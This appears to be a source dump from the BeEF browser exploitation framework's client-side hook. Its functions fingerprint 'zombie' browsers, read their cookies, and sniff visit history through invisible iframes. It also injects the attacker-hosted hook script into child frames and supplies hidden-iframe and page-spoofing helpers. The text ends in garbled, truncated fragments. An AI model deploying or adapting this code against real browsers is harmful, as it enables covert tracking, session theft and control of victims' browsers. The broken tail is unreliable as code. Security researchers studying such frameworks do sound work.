31 if (this.isFF32()) { return '32' } ; // Firefox 32 if (this.isFF33()) { return '33' } ; // Firefox 33 if (this.isFF34()) { return '34' } ; // Firefox 34 if (this.isFF35()) { return '35' } ; // Firefox 35 if (this.isFF36()) { return '36' } ; // Firefox 36 if (this.isFF37()) { return '37' } ; // Firefox 37 if (this.isFF38()) { return '38' } ; // Firefox 38 if (this.isFF39()) { return '39' } ; // Firefox 39 if (this.isFF40()) { return '40' } ; // Firefox 40 if (this.isFF41()) { return '41' } ; // Firefox 41 if (this.isFF42()) { return '42' } ; // Firefox 42 if (this.isFF43()) { return '43' } ; // Firefox 43 if (this.isFF44()) { return '44' } ; // Firefox 44 if (this.isFF45()) { return '45' } ; // Firefox 45 if (this.isFF46()) { return '46' } ; // Firefox 46 if (this.isFF47()) { return '47' } ; // Firefox 47 if (this.isFF48()) { return '48' } ; // Firefox 48 if (this.isFF49()) { return '49' } ; // Firefox 49 if (this.isFF50()) { return '50' } ; // Firefox 50 if (this.isFF51()) { return '51' } ; // Firefox 51 if (this.isFF52()) { return '52' } ; // Firefox 52 if (this.isFF53()) { return '53' } ; // Firefox 53 if (this.isFF54()) { return '54' } ; // Firefox 54 if (this.isFF55()) { return '55' } ; // Firefox 55 if (this.isFF56()) { return '56' } ; // Firefox 56 if (this.isFF57()) { return '57' } ; // Firefox 57 if (this.isFF58()) { return '58' } ; // Firefox 58 if (this.isFF59()) { return '59' } ; // Firefox 59 if (this.isFF60()) { return '60' } ; // Firefox 60 if (this.isFF61()) { return '61' } ; // Firefox 61 if (this.isFF62()) { return '62' } ; // Firefox 62 if (this.isFF63()) { return '63' } ; // Firefox 63 if (this.isFF64()) { return '64' } ; // Firefox 64 if (this.isFF65()) { return '65' } ; // Firefox 65 if (this.isFF66()) { return '66' } ; // Firefox 66 if (this.isFF67()) { return '67' } ; // Firefox 67 if (this.isFF68()) { return '68' } ; // Firefox 68 if (this.isFF69()) { return '69' } ; // Firefox 69 if (this.isFF70()) { return '70' } ; // Firefox 70 if (this.isFF71()) { return '71' } ; // Firefox 71 if (this.isFF72()) { return '72' } ; // Firefox 72 if (this.isFF73()) { return '73' } ; // Firefox 73 if (this.isFF74()) { return '74' } ; // Firefox 74 if (this.isFF75()) { return '75' } ; // Firefox 75 if (this.isFF76()) { return '76' } ; // Firefox 76 if (this.isFF77()) { return '77' } ; // Firefox 77 if (this.isFF78()) { return '78' } ; // Firefox 78 if (this.isFF79()) { return '79' } ; // Firefox 79 if (this.isFF80()) { return '80' } ; // Firefox 80 if (this.isFF81()) { return '81' } ; // Firefox 81 if (this.isFF82()) { return '82' } ; // Firefox 82 if (this.isFF83()) { return '83' } ; // Firefox 83 if (this.isFF84()) { return '84' } ; // Firefox 84 if (this.isFF85()) { return '85' } ; // Firefox 85 if (this.isFF86()) { return '86' } ; // Firefox 86 if (this.isFF87()) { return '87' } ; // Firefox 87 if (this.isFF88()) { return '88' } ; // Firefox 88 if (this.isFF89()) { return '89' } ; // Firefox 89 if (this.isFF90()) { return '90' } ; // Firefox 90 if (this.isFF91()) { return '91' } ; // Firefox 91 if (this.isFF92()) { return '92' } ; // Firefox 92 if (this.isFF93()) { return '93' } ; // Firefox 93 if (this.isFF94()) { return '94' } ; // Firefox 94 if (this.isFF95()) { return '95' } ; // Firefox 95 if (this.isFF96()) { return '96' } ; // Firefox 96 if (this.isFF97()) { return '97' } ; // Firefox 97 if (this.isFF98()) { return '98' } ; // Firefox 98 if (this.isFF99()) { return '99' } ; // Firefox 99 if (this.isIE6()) { return '6' } ; // Internet Explorer 6 if (this.isIE7()) { return '7' } ; // Internet Explorer 7 if (this.isIE8()) { return '8' } ; // Internet Explorer 8 if (this.isIE9()) { return '9' } ; // Internet Explorer 9 if (this.isIE10()) { return '10' } ; // Internet Explorer 10 if (this.isIE11()) { return '11' } ; // Internet Explorer 11 if (this.isEdge()) { return '1' } ; // Microsoft Edge if (this.isEpi()) { // believe the UserAgent string for version info - until whenever var epiphanyRe = /Epiphany\/(\d+)/; var versionDetails = epiphanyRe.exec( beef.browser.getBrowserReportedName()); if (versionDetails.length > 1) { return versionDetails[1]; } else { return "UNKNOWN"; // returns from here or it may take Safari version details } } ; // Epiphany if (this.isS4()) { return '4' } ; // Safari 4 if (this.isS5()) { return '5' } ; // Safari 5 if (this.isS6()) { return '6' } ; // Safari 6 if (this.isS7()) { return '7' } ; // Safari 7 if (this.isS8()) { return '8' } ; // Safari 8 if (this.isO9_52()) { return '9.5' } ; // Opera 9.5x if (this.isO9_60()) { return '9.6' } ; // Opera 9.6 if (this.isO10()) { return '10' } ; // Opera 10.xx if (this.isO11()) { return '11' } ; // Opera 11.xx if (this.isO12()) { return '12' } ; // Opera 12.xx // platform.js try { var version = platform.version; if (!!version) return version; } catch (e) {} return 'UNKNOWN'; // Unknown UA }, /** * Returns the type of user agent by hooked browser. * @return: {String} User agent software. * * @example: beef.browser.getBrowserName() */ getBrowserName: function () { if (this.isEdge()) { return 'E' } ; // Microsoft Edge any version if (this.isC()) { return 'C' } ; // Chrome any version if (this.isFF()) { return 'FF' } ; // Firefox any version if (this.isIE()) { return 'IE' } ; // Internet Explorer any version if (this.isO()) { return 'O' } ; // Opera any version if (this.isEpi()) { return 'EP' } ; // Epiphany any version if (this.isS()) { return 'S' } ; // Safari any version if (this.isA()) { return 'A' } ; // Avant any version if (this.isMidori()) { return 'MI' } ; // Midori any version if (this.isOdyssey()) { return 'OD' } ; // Odyssey any version if (this.isBrave()) { return 'BR' } ; // Brave any version return 'UNKNOWN'; // Unknown UA }, /** * Hooks all child frames in the current window * Restricted by same-origin policy */ hookChildFrames: function () { // create script object var script = document.createElement('script'); script.type = 'text/javascript'; script.src = '<%== @beef_proto %>://<%== @beef_host %>:<%== @beef_port %><%== @hook_file %>'; // loop through child frames for (var i = 0; i < self.frames.length; i++) { try { // append hook script self.frames[i].document.body.appendChild(script); beef.debug("Hooked child frame [src:" + self.frames[i].window.location.href + "]"); } catch (e) { // warn on cross-origin beef.debug("Hooking child frame failed: " + e.message); } } }, /** * Checks if the zombie has flash installed and enabled. * @return: {Boolean} true or false. * * @example: if(beef.browser.hasFlash()) { ... } */ hasFlash: function () { if (!beef.browser.isIE()) { return (navigator.mimeTypes && navigator.mimeTypes["application/x-shockwave-flash"]); } if (!!navigator.plugins) { return (navigator.plugins["Shockwave Flash"] != undefined); } // IE var flash_versions = 12; if (window.ActiveXObject != null) { for (x = 2; x <= flash_versions; x++) { try { Flash = eval("new ActiveXObject('ShockwaveFlash.ShockwaveFlash." + x + "');"); if (Flash) { return true; } } catch (e) { beef.debug("Creating Flash ActiveX object failed: " + e.message); } } } return false; }, /** * Checks if the zombie has the QuickTime plugin installed. * @return: {Boolean} true or false. * * @example: if ( beef.browser.hasQuickTime() ) { ... } */ hasQuickTime: function () { if (!!navigator.plugins) { for (i = 0; i < navigator.plugins.length; i++) { if (navigator.plugins[i].name.indexOf("QuickTime") >= 0) { return true; } } } // IE try { var qt_test = new ActiveXObject('QuickTime.QuickTime'); if (qt_test) { return true; } } catch (e) { beef.debug("Creating QuickTime ActiveX object failed: " + e.message); } return false; }, /** * Checks if the zombie has the RealPlayer plugin installed. * @return: {Boolean} true or false. * * @example: if ( beef.browser.hasRealPlayer() ) { ... } */ hasRealPlayer: function () { if (!!navigator.plugins) { for (i = 0; i < navigator.plugins.length; i++) { if (navigator.plugins[i].name.indexOf("RealPlayer") >= 0) { return true; } } } // IE var definedControls = [ 'RealPlayer', 'rmocx.RealPlayer G2 Control', 'rmocx.RealPlayer G2 Control.1', 'RealPlayer.RealPlayer(tm) ActiveX Control (32-bit)', 'RealVideo.RealVideo(tm) ActiveX Control (32-bit)' ]; for (var i = 0; i < definedControls.length; i++) { try { var rp_test = new ActiveXObject(definedControls[i]); if (rp_test) { return true; } } catch (e) { beef.debug("Creating RealPlayer ActiveX object failed: " + e.message); } } return false; }, /** * Checks if the zombie has the Windows Media Player plugin installed. * @return: {Boolean} true or false. * * @example: if ( beef.browser.hasWMP() ) { ... } */ hasWMP: function () { if (!!navigator.plugins) { for (i = 0; i < navigator.plugins.length; i++) { if (navigator.plugins[i].name.indexOf("Windows Media Player") >= 0) { return true; } } } // IE try { var wmp_test = new ActiveXObject('WMPlayer.OCX'); if (wmp_test) { return true; } } catch (e) { beef.debug("Creating WMP ActiveX object failed: " + e.message); } return false; }, /** * Checks if VLC is installed * @return: {Boolean} true or false **/ hasVLC: function () { if (beef.browser.isIE() || beef.browser.isEdge()) { try { control = new ActiveXObject("VideoLAN.VLCPlugin.2"); return true; } catch (e) { beef.debug("Creating VLC ActiveX object failed: " + e.message); } } else { for (i = 0; i < navigator.plugins.length; i++) { if (navigator.plugins[i].name.indexOf("VLC") >= 0) { return true; } } } return false; }, /** * Checks if the zombie has Java enabled. * @return: {Boolean} true or false. * * @example: if(beef.browser.javaEnabled()) { ... } */ javaEnabled: function () { return navigator.javaEnabled(); }, /** * Checks if the Phonegap API is available from the hooked origin. * @return: {Boolean} true or false. * * @example: if(beef.browser.hasPhonegap()) { ... } */ hasPhonegap: function () { var result = false; try { if (!!device.phonegap || !!device.cordova) result = true; else result = false; } catch (e) { result = false; } return result; }, /** * Checks if the browser supports CORS * @return: {Boolean} true or false. * * @example: if(beef.browser.hasCors()) { ... } */ hasCors: function () { if ('withCredentials' in new XMLHttpRequest()) return true; else if (typeof XDomainRequest !== "undefined") return true; else return false; }, /** * Checks if the zombie has Java installed and enabled. * @return: {Boolean} true or false. * * @example: if(beef.browser.hasJava()) { ... } */ hasJava: function () { if (beef.browser.getPlugins().match(/java/i) && beef.browser.javaEnabled()) { return true; } else { return false; } }, /** * Checks if the zombie has VBScript enabled. * @return: {Boolean} true or false. * * @example: if(beef.browser.hasVBScript()) { ... } */ hasVBScript: function () { if ((navigator.userAgent.indexOf('MSIE') != -1) && (navigator.userAgent.indexOf('Win') != -1)) { return true; } else { return false; } }, /** * Returns the list of plugins installed in the browser. */ getPlugins: function () { var results; function unique(array) { return $j.grep(array, function(el, index) { return index === $j.inArray(el, array); }); } // Things lacking navigator.plugins if (!navigator.plugins) return this.getPluginsIE(); // All other browsers that support navigator.plugins if (navigator.plugins && navigator.plugins.length > 0) { results = new Array(); for (var i = 0; i < navigator.plugins.length; i++) { // Firefox returns exact plugin versions if (beef.browser.isFF()) results[i] = navigator.plugins[i].name + '-v.' + navigator.plugins[i].version; // Webkit and Presto (Opera) // Don't support the version attribute // Sometimes store the version in description (Real, Adobe) else results[i] = navigator.plugins[i].name;// + '-desc.' + navigator.plugins[i].description; } results = unique(results).toString(); // All browsers that don't support navigator.plugins } else { results = new Array(); //firefox https://bugzilla.mozilla.org/show_bug.cgi?id=757726 // On linux sistem the "version" slot is empty so I'll attach "description" after version var plugins = { 'AdobeAcrobat': { 'control': 'Adobe Acrobat', 'return': function (control) { try { version = navigator.plugins["Adobe Acrobat"]["description"]; return 'Adobe Acrobat Version ' + version; //+ " description "+ filename; } catch (e) { } }}, 'Flash': { 'control': 'Shockwave Flash', 'return': function (control) { try { version = navigator.plugins["Shockwave Flash"]["description"]; return 'Flash Player Version ' + version; //+ " description "+ filename; } catch (e) { } }}, 'Google_Talk_Plugin_Accelerator': { 'control': 'Google Talk Plugin Video Accelerator', 'return': function (control) { try { version = navigator.plugins['Google Talk Plugin Video Accelerator']["description"]; return 'Google Talk Plugin Video Accelerator Version ' + version; //+ " description "+ filename; } catch (e) { } }}, 'Google_Talk_Plugin': { 'control': 'Google Talk Plugin', 'return': function (control) { try { version = navigator.plugins['Google Talk Plugin']["description"]; return 'Google Talk Plugin Version ' + version;// " description "+ filename; } catch (e) { } }}, 'Facebook_Video_Calling_Plugin': { 'control': 'Facebook Video Calling Plugin', 'return': function (control) { try { version = navigator.plugins["Facebook Video Calling Plugin"]["description"]; return 'Facebook Video Calling Plugin Version ' + version;//+ " description "+ filename; } catch (e) { } }}, 'Google_Update': { 'control': 'Google Update', 'return': function (control) { try { version = navigator.plugins["Google Update"]["description"]; return 'Google Update Version ' + version//+ " description "+ filename; } catch (e) { } }}, 'Windows_Activation_Technologies': { 'control': 'Windows Activation Technologies', 'return': function (control) { try { version = navigator.plugins["Windows Activation Technologies"]["description"]; return 'Windows Activation Technologies Version ' + version;//+ " description "+ filename; } catch (e) { } }}, 'VLC_Web_Plugin': { 'control': 'VLC Web Plugin', 'return': function (control) { try { version = navigator.plugins["VLC Web Plugin"]["description"]; return 'VLC Web Plugin Version ' + version;//+ " description "+ filename; } catch (e) { } }}, 'Google_Earth_Plugin': { 'control': 'Google Earth Plugin', 'return': function (control) { try { version = navigator.plugins['Google Earth Plugin']["description"]; return 'Google Earth Plugin Version ' + version;//+ " description "+ filename; } catch (e) { } }}, 'FoxitReader_Plugin': { 'control': 'FoxitReader Plugin', 'return': function (control) { try { version = navigator.plugins['Foxit Reader Plugin for Mozilla']['version']; return 'FoxitReader Plugin Version ' + version; } catch (e) { } }} }; var c = 0; for (var i in plugins) { //each element od plugins var control = plugins[i]['control']; try { var version = plugins[i]['return'](control); if (version) { results[c] = version; c = c + 1; } } catch (e) { } } } // Return results return results; }, /** * Returns a list of plugins detected by IE. This is a hack because IE doesn't * support navigator.plugins */ getPluginsIE: function () { var results = ''; var plugins = { 'AdobePDF6': { 'control': 'PDF.PdfCtrl', 'return': function (control) { version = control.getVersions().split(','); version = version[0].split('='); return 'Acrobat Reader v' + parseFloat(version[1]); }}, 'AdobePDF7': { 'control': 'AcroPDF.PDF', 'return': function (control) { version = control.getVersions().split(','); version = version[0].split('='); return 'Acrobat Reader v' + parseFloat(version[1]); }}, 'Flash': { 'control': 'ShockwaveFlash.ShockwaveFlash', 'return': function (control) { version = control.getVariable('$version').substring(4); return 'Flash Player v' + version.replace(/,/g, "."); }}, 'Quicktime': { 'control': 'QuickTime.QuickTime', 'return': function (control) { return 'QuickTime Player'; }}, 'RealPlayer': { 'control': 'RealPlayer', 'return': function (control) { version = control.getVersionInfo(); return 'RealPlayer v' + parseFloat(version); }}, 'Shockwave': { 'control': 'SWCtl.SWCtl', 'return': function (control) { version = control.ShockwaveVersion('').split('r'); return 'Shockwave v' + parseFloat(version[0]); }}, 'WindowsMediaPlayer': { 'control': 'WMPlayer.OCX', 'return': function (control) { return 'Windows Media Player v' + parseFloat(control.versionInfo); }}, 'FoxitReaderPlugin': { 'control': 'FoxitReader.FoxitReaderCtl.1', 'return': function (control) { return 'Foxit Reader Plugin v' + parseFloat(control.versionInfo); }} }; if (window.ActiveXObject) { var j = 0; for (var i in plugins) { var control = null; var version = null; try { control = new ActiveXObject(plugins[i]['control']); } catch (e) { } if (control) { if (j != 0) results += ', '; results += plugins[i]['return'](control); j++; } } } return results; }, /** * Returns zombie browser window size. * @from: http://www.howtocreate.co.uk/tutorials/javascript/browserwindow */ getWindowSize: function () { var myWidth = 0, myHeight = 0; if (typeof( window.innerWidth ) == 'number') { // Non-IE myWidth = window.innerWidth; myHeight = window.innerHeight; } else if (document.documentElement && ( document.documentElement.clientWidth || document.documentElement.clientHeight )) { // IE 6+ in 'standards compliant mode' myWidth = document.documentElement.clientWidth; myHeight = document.documentElement.clientHeight; } else if (document.body && ( document.body.clientWidth || document.body.clientHeight )) { // IE 4 compatible myWidth = document.body.clientWidth; myHeight = document.body.clientHeight; } return { width: myWidth, height: myHeight } }, /** * Construct hash from browser details. This function is used to grab the browser details during the hooking process */ getDetails: function () { var details = new Array(); var browser_name = beef.browser.getBrowserName(); var browser_version = beef.browser.getBrowserVersion(); var browser_engine = beef.browser.getBrowserEngine(); var browser_reported_name = beef.browser.getBrowserReportedName(); var browser_language = beef.browser.getBrowserLanguage(); var page_title = (document.title) ? document.title : "Unknown"; var origin = (window.origin) ? window.origin : "Unknown"; var page_uri = (document.location.href) ? document.location.href : "Unknown"; var page_referrer = (document.referrer) ? document.referrer : "Unknown"; var page_hostname = (document.location.hostname) ? document.location.hostname : "Unknown"; var default_port = ""; switch (document.location.protocol) { case "http:": var default_port = "80"; break; case "https:": var default_port = "443"; break; } var page_hostport = (document.location.port) ? document.location.port : default_port; var browser_plugins = beef.browser.getPlugins(); var date_stamp = new Date().toString(); var os_name = beef.os.getName(); var os_family = beef.os.getFamily(); var os_version = beef.os.getVersion(); var os_arch = beef.os.getArch(); var default_browser = beef.os.getDefaultBrowser(); var hw_type = beef.hardware.getName(); var battery_details = beef.hardware.getBatteryDetails(); try { var battery_charging_status = battery_details.chargingStatus; var battery_level = battery_details.batteryLevel; var battery_charging_time = battery_details.chargingTime; var battery_discharging_time = battery_details.dischargingTime; } catch(e) {} var memory = beef.hardware.getMemory(); var cpu_arch = beef.hardware.getCpuArch(); var cpu_cores = beef.hardware.getCpuCores(); var gpu_details = beef.hardware.getGpuDetails(); try { var gpu = gpu_details.gpu; var gpu_vendor = gpu_details.vendor; } catch(e) {} var touch_enabled = (beef.hardware.isTouchEnabled()) ? "Yes" : "No"; var browser_platform = (typeof(navigator.platform) != "undefined" && navigator.platform != "") ? navigator.platform : 'Unknown'; var screen_size = beef.hardware.getScreenSize(); try { var screen_width = screen_size.width; var screen_height = screen_size.height; var screen_colordepth = screen_size.colordepth; } catch(e) {} var window_size = beef.browser.getWindowSize(); try { window_width = window_size.width; window_height = window_size.height; } catch(e) {} var vbscript_enabled = (beef.browser.hasVBScript()) ? "Yes" : "No"; var has_flash = (beef.browser.hasFlash()) ? "Yes" : "No"; var has_silverlight = (beef.browser.hasSilverlight()) ? "Yes" : "No"; var has_phonegap = (beef.browser.hasPhonegap()) ? "Yes" : "No"; var has_googlegears = (beef.browser.hasGoogleGears()) ? "Yes" : "No"; var has_web_socket = (beef.browser.hasWebSocket()) ? "Yes" : "No"; var has_web_worker = (beef.browser.hasWebWorker()) ? "Yes" : "No"; var has_web_gl = (beef.browser.hasWebGL()) ? "Yes" : "No"; var has_webrtc = (beef.browser.hasWebRTC()) ? "Yes" : "No"; var has_activex = (beef.browser.hasActiveX()) ? "Yes" : "No"; var has_quicktime = (beef.browser.hasQuickTime()) ? "Yes" : "No"; var has_realplayer = (beef.browser.hasRealPlayer()) ? "Yes" : "No"; var has_wmp = (beef.browser.hasWMP()) ? "Yes" : "No"; var has_vlc = (beef.browser.hasVLC()) ? "Yes" : "No"; try { var cookies = document.cookie; if (cookies) details['browser.window.cookies'] = cookies; } catch (e) { beef.debug("Cookies can't be read. The hooked origin is most probably using HttpOnly."); details['browser.window.cookies'] = ''; } if (browser_name) details['browser.name'] = browser_name; if (browser_version) details['browser.version'] = browser_version; if (browser_engine) details['browser.engine'] = browser_engine; if (browser_reported_name) details['browser.name.reported'] = browser_reported_name; if (browser_platform) details['browser.platform'] = browser_platform; if (browser_language) details['browser.language'] = browser_language; if (browser_plugins) details['browser.plugins'] = browser_plugins; if (page_title) details['browser.window.title'] = page_title; if (origin) details['browser.window.origin'] = origin; if (page_hostname) details['browser.window.hostname'] = page_hostname; if (page_hostport) details['browser.window.hostport'] = page_hostport; if (page_uri) details['browser.window.uri'] = page_uri; if (page_referrer) details['browser.window.referrer'] = page_referrer; if (window_width) details['browser.window.size.width'] = window_width; if (window_height) details['browser.window.size.height'] = window_height; if (date_stamp) details['browser.date.datestamp'] = date_stamp; if (os_name) details['host.os.name'] = os_name; if (os_family) details['host.os.family'] = os_family; if (os_version) details['host.os.version'] = os_version; if (os_arch) details['host.os.arch'] = os_arch; if (default_browser) details['host.software.defaultbrowser'] = default_browser; if (hw_type) details['hardware.type'] = hw_type; if (memory) details['hardware.memory'] = memory; if (gpu) details['hardware.gpu'] = gpu; if (gpu_vendor) details['hardware.gpu.vendor'] = gpu_vendor; if (cpu_arch) details['hardware.cpu.arch'] = cpu_arch; if (cpu_cores) details['hardware.cpu.cores'] = cpu_cores; if (battery_charging_status) details['hardware.battery.chargingstatus'] = battery_charging_status; if (battery_level) details['hardware.battery.level'] = battery_level; if (battery_charging_time) details['hardware.battery.chargingtime'] = battery_charging_time; if (battery_discharging_time) details['hardware.battery.dischargingtime'] = battery_discharging_time; if (screen_width) details['hardware.screen.size.width'] = screen_width; if (screen_height) details['hardware.screen.size.height'] = screen_height; if (screen_colordepth) details['hardware.screen.colordepth'] = screen_colordepth; if (touch_enabled) details['hardware.screen.touchenabled'] = touch_enabled; if (vbscript_enabled) details['browser.capabilities.vbscript'] = vbscript_enabled; if (has_flash) details['browser.capabilities.flash'] = has_flash; if (has_silverlight) details['browser.capabilities.silverlight'] = has_silverlight; if (has_phonegap) details['browser.capabilities.phonegap'] = has_phonegap; if (has_web_socket) details['browser.capabilities.websocket'] = has_web_socket; if (has_webrtc) details['browser.capabilities.webrtc'] = has_webrtc; if (has_web_worker) details['browser.capabilities.webworker'] = has_web_worker; if (has_web_gl) details['browser.capabilities.webgl'] = has_web_gl; if (has_googlegears) details['browser.capabilities.googlegears'] = has_googlegears; if (has_activex) details['browser.capabilities.activex'] = has_activex; if (has_quicktime) details['browser.capabilities.quicktime'] = has_quicktime; if (has_realplayer) details['browser.capabilities.realplayer'] = has_realplayer; if (has_wmp) details['browser.capabilities.wmp'] = has_wmp; if (has_vlc) details['browser.capabilities.vlc'] = has_vlc; return details; }, /** * Returns boolean value depending on whether the browser supports ActiveX */ hasActiveX: function () { return !!window.ActiveXObject; }, /** * Returns boolean value depending on whether the browser supports WebRTC */ hasWebRTC: function () { return (!!window.mozRTCPeerConnection || !!window.webkitRTCPeerConnection); }, /** * Returns boolean value depending on whether the browser supports Silverlight */ hasSilverlight: function () { var result = false; try { if (beef.browser.hasActiveX()) { var slControl = new ActiveXObject('AgControl.AgControl'); result = true; } else if (navigator.plugins["Silverlight Plug-In"]) { result = true; } } catch (e) { result = false; } return result; }, /** * Returns array of results, whether or not the target zombie has visited the specified URL */ hasVisited: function (urls) { var results = new Array(); var iframe = beef.dom.createInvisibleIframe(); var ifdoc = (iframe.contentDocument) ? iframe.contentDocument : iframe.contentWindow.document; ifdoc.open(); ifdoc.write(''); ifdoc.close(); urls = urls.split("\n"); var count = 0; for (var i in urls) { var u = urls[i]; if (u != "" || u != null) { var success = false; var a = ifdoc.createElement('a'); a.href = u; ifdoc.body.appendChild(a); var width = null; (a.currentStyle) ? width = a.currentStyle['width'] : width = ifdoc.defaultView.getComputedStyle(a, null).getPropertyValue("width"); if (width == '0px') { success = true; } results.push({'url': u, 'visited': success}); count++; } } beef.dom.removeElement(iframe); if (results.length == 0) { return false; } return results; }, /** * Checks if the zombie has Web Sockets enabled. * @return: {Boolean} true or false. * In FF6+ the websocket object has been prefixed with Moz, so now it's called MozWebSocket * */ hasWebSocket: function () { return !!window.WebSocket || !!window.MozWebSocket; }, /** * Checks if the zombie has Web Workers enabled. * @return: {Boolean} true or false. * */ hasWebWorker: function () { return (typeof(Worker) !== "undefined"); }, /** * Checks if the zombie has WebGL enabled. * @return: {Boolean} true or false. * * @from: https://github.com/idofilin/webgl-by-example/blob/master/detect-webgl/detect-webgl.js * */ hasWebGL: function () { try { var canvas = document.createElement("canvas"); var gl = canvas.getContext("webgl") || canvas.getContext("experimental-webgl"); return !!(gl && gl instanceof WebGLRenderingContext); } catch(e) { return false; } }, /** * Checks if the zombie has Google Gears installed. * @return: {Boolean} true or false. * * @from: https://code.google.com/apis/gears/gears_init.js * */ hasGoogleGears: function () { var ggfactory = null; // Chrome if (window.google && google.gears) return true; // Firefox if (typeof GearsFactory != 'undefined') { ggfactory = new GearsFactory(); } else { // IE try { ggfactory = new ActiveXObject('Gears.Factory'); // IE Mobile on WinCE. if (ggfactory.getBuildInfo().indexOf('ie_mobile') != -1) { ggfactory.privateSetGlobalObject(this); } } catch (e) { // Safari if ((typeof navigator.mimeTypes != 'undefined') && navigator.mimeTypes["application/x-googlegears"]) { ggfactory = document.createElement("object"); ggfactory.style.display = "none"; ggfactory.width = 0; ggfactory.height = 0; ggfactory.type = "application/x-googlegears"; document.documentElement.appendChild(ggfactory); if (ggfactory && (typeof ggfactory.create == 'undefined')) ggfactory = null; } } } if (!ggfactory) return false; else return true; }, /** * Checks if the zombie has Foxit PDF reader plugin. * @return: {Boolean} true or false. * * @example: if(beef.browser.hasFoxit()) { ... } * */ hasFoxit: function () { var foxitplugin = false; try { if (beef.browser.hasActiveX()) { var foxitControl = new ActiveXObject('FoxitReader.FoxitReaderCtl.1'); foxitplugin = true; } else if (navigator.plugins['Foxit Reader Plugin for Mozilla']) { foxitplugin = true; } } catch (e) { foxitplugin = false; } return foxitplugin; }, /** * Returns the page head HTML **/ getPageHead: function () { var html_head; try { html_head = document.head.innerHTML.toString(); } catch (e) { } return html_head; }, /** * Returns the page body HTML **/ getPageBody: function () { var html_body; try { html_body = document.body.innerHTML.toString(); } catch (e) { } return html_body; }, /** * Dynamically changes the favicon: works in Firefox, Chrome and Opera **/ changeFavicon: function (favicon_url) { var iframe = null; if (this.isC()) { iframe = document.createElement('iframe'); iframe.src = 'about:blank'; iframe.style.display = 'none'; document.body.appendChild(iframe); } var link = document.createElement('link'), oldLink = document.getElementById('dynamic-favicon'); link.id = 'dynamic-favicon'; link.rel = 'shortcut icon'; link.href = favicon_url; if (oldLink) document.head.removeChild(oldLink); document.head.appendChild(link); if (this.isC()) iframe.src += ''; }, /** * Changes page title **/ changePageTitle: function (title) { document.title = title; }, /** * Get the browser language */ getBrowserLanguage: function () { var l = 'Unknown'; try { l = window.navigator.userLanguage || window.navigator.language; } catch (e) { } return l; }, /** * A function that gets the max number of simultaneous connections the * browser can make per origin, or globally on all origin. * * This code is based on research from browserspy.dk * * @parameter {ENUM: 'PER_DOMAIN', 'GLOBAL'=>default} * @return {Object} A jQuery deferred object promise, which when resolved passes * the number of connections to the callback function as "this" */ getMaxConnections: function (scope) { /* * example usage: * $j.when(getMaxConnections()).done(function(){ * console.debug("Max Connections: " + this); * }); */ var imagesCount = 30; // Max number of images to test var secondsTimeout = 5; // Image load timeout threashold var testUrl = ""; // The image testing service URL // User broserspy.dk max connections service URL. if (scope == 'PER_DOMAIN') testUrl = "http://browserspy.dk/connections.php?img=1&random="; else // The token will be replaced by a different number with each request (different origin). testUrl = "http://.browserspy.dk/connections.php?img=1&random="; var imagesLoaded = 0; // Number of responding images before timeout. var imagesRequested = 0; // Number of requested images. var testImages = new Array(); // Array of all images. var deferredObject = $j.Deferred(); // A jquery Deferred object. for (var i = 1; i <= imagesCount; i++) { // Asynchronously request image. testImages[i] = $j.ajax({ type: "get", dataType: true, url: (testUrl.replace("", i)) + Math.random(), data: "", timeout: (secondsTimeout * 1000), // Function on completion of request. complete: function (jqXHR, textStatus) { imagesRequested++; // If the image returns a 200 or a 302, the text Status is "error", else null if (textStatus == "error") { imagesLoaded++; } // If all images requested if (imagesRequested >= imagesCount) { // resolve the deferred object passing the number of loaded images. deferredObject.resolveWith(imagesLoaded); } } }); } // Return a promise to resolve the deffered object when the images are loaded. return deferredObject.promise(); } }; beef.regCmp('beef.browser'); ================================================ FILE: core/main/client/dom.js ================================================ // // Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // /** * Provides functionality to manipulate the DOM. * @namespace beef.dom */ beef.dom = { /** * Generates a random ID for HTML elements * @param {String} prefix a custom prefix before the random id. defaults to "beef-" * @return {String} generated id */ generateID: function(prefix) { return ((prefix == null) ? 'beef-' : prefix)+Math.floor(Math.random()*99999); }, /** * Creates a new element but does not append it to the DOM. * @param {String} type the name of the element. * @param {Array} attributes the attributes of that element. * @return {Array} the created element. */ createElement: function(type, attributes) { var el = document.createElement(type); for(index in attributes) { if(typeof attributes[index] == 'string') { el.setAttribute(index, attributes[index]); } } return el; }, /** * Removes element from the DOM. * @param {Object} el the target element to be removed. */ removeElement: function(el) { if (!beef.dom.isDOMElement(el)) { el = document.getElementById(el); } try { el.parentNode.removeChild(el); } catch (e) { } }, /** * Tests if the object is a DOM element. * @param {Object} the DOM element. * @return {boolean} true if the object is a DOM element. */ isDOMElement: function(obj) { return (obj.nodeType) ? true : false; }, /** * Creates an invisible iframe on the hook browser's page. * @return {array} the iframe. */ createInvisibleIframe: function() { var iframe = this.createElement('iframe', { width: '1px', height: '1px', style: 'visibility:hidden;' }); document.body.appendChild(iframe); return iframe; }, /** * Returns the highest current z-index * @param {Boolean} whether to return an associative array with the height AND the ID of the element * @return {Integer} Highest z-index in the DOM * OR * @return {Hash} A hash with the height and the ID of the highest element in the DOM {'height': INT, 'elem': STRING} */ getHighestZindex: function(include_id) { var highest = {'height':0, 'elem':''}; $j('*').each(function() { var current_high = parseInt($j(this).css("zIndex"),10); if (current_high > highest.height) { highest.height = current_high; highest.elem = $j(this).attr('id'); } }); if (include_id) { return highest; } else { return highest.height; } }, /** * Create an iFrame element and prepend to document body. URI passed via 'src' property of function's 'params' parameter * is assigned to created iframe tag's src attribute resulting in GET request to that URI. * example usage in the code: beef.dom.createIframe('fullscreen', {'src':$j(this).attr('href')}, {}, null); * @param {String} type: can be 'hidden' or 'fullScreen'. defaults to normal * @param {Hash} params: list of params that will be sent in request. * @param {Hash} styles: css styling attributes, these are merged with the defaults specified in the type parameter * @param {Function} a callback function to fire once the iFrame has loaded * @return {Object} the inserted iFrame * */ createIframe: function(type, params, styles, onload) { var css = {}; if (type == 'hidden') { css = $j.extend(true, {'border':'none', 'width':'1px', 'height':'1px', 'display':'none', 'visibility':'hidden'}, styles); } else if (type == 'fullscreen') { css = $j.extend(true, {'border':'none', 'background-color':'white', 'width':'100%', 'height':'100%', 'position':'absolute', 'top':'0px', 'left':'0px', 'z-index':beef.dom.getHighestZindex()+1}, styles); $j('body').css({'padding':'0px', 'margin':'0px'}); } else { css = styles; $j('body').css({'padding':'0px', 'margin':'0px'}); } var iframe = $j(''); else lyr1 = $(''); if (opts.theme) lyr2 = $(''); else lyr2 = 